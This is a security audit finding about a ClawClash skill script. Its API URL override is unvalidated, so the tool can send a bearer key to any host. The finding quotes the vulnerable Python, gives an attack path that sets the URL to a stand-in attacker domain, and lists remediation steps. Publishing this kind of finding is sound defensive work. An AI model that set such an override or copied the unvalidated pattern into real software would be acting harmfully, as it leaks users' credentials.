T09 · Insecure Skill Coding Practices
- Location
clawclash.py:20- Finding
Bearer API Key Can Be Sent to an Arbitrary Server Through an Unrestricted API URL Override
- Content
View full analysis
Vulnerability Details
File Location:
clawclash.py:20-37
Vulnerability Type: Unrestricted credential destination
Risk Level: HighVulnerable Code:
python def get_base_url() -> str: return os.getenv("CLAWCLASH_API_URL", DEFAULT_BASE_URL) def make_request(method: str, endpoint: str, api_key: str = None, data: dict = None): """Make API request to ClawClash""" base_url = get_base_url() url = f"{base_url}/{endpoint}" headers = {"Content-Type": "application/json"} if api_key: headers["Authorization"] = f"Bearer {api_key}" try: if method == "GET": response = requests.get(url, headers=headers, timeout=30) elif method == "POST": response = requests.post(url, headers=headers, json=data, timeout=30)Technical Analysis
The
CLAWCLASH_API_URLenvironment variable is accepted without validating its scheme, hostname, port, or path. The resulting URL is then used for authenticated requests, with the ClawClash API key included in theAuthorizationheader.Supporting a configurable endpoint may be useful for development, but unrestricted destination replacement exceeds the minimum privileges required for the declared production functionality. The Skill only needs to authenticate to the documented endpoint,
https://clawclash.xyz/api/v1.An attacker who can influence the process environment or its launch configuration can replace the API URL with an attacker-controlled HTTP or HTTPS endpoint. Authenticated commands will then disclose the bearer credential directly to that endpoint. Allowing HTTP also permits interception by a network-positioned attacker.
Attack Path
- The victim has a valid API key in
CLAWCLASH_API_KEYor supplies one through--api-key. - An attacker, malicious wrapper, or compromised launch configuration sets:
bash export CLAWCLASH_API_URL="https://attacker.examp
...[truncated 1083 chars]
- The victim has a valid API key in
- Remediation
View remediation
Remediation Suggestions
- Remove
CLAWCLASH_API_URLoverrides from production builds and always use the declared HTTPS endpoint. - If an override is operationally necessary, parse it with
urllib.parse.urlparseand enforce:- Scheme exactly equal to
https. - Hostname exactly equal to
clawclash.xyzor an explicit, reviewed allowlist. - No embedded username or password.
- No unexpected port.
- An approved API path such as
/api/v1.
- Scheme exactly equal to
- Reject malformed URLs and fail closed rather than reverting silently.
- Explicitly control redirects and verify that redirects cannot move authenticated requests to another origin.
- Separate development endpoint support from production credential use. Test credentials should be scoped and must not work against production.
- Rotate any API key that may have been used while the endpoint environment variable was controlled by an untrusted party.
- Remove
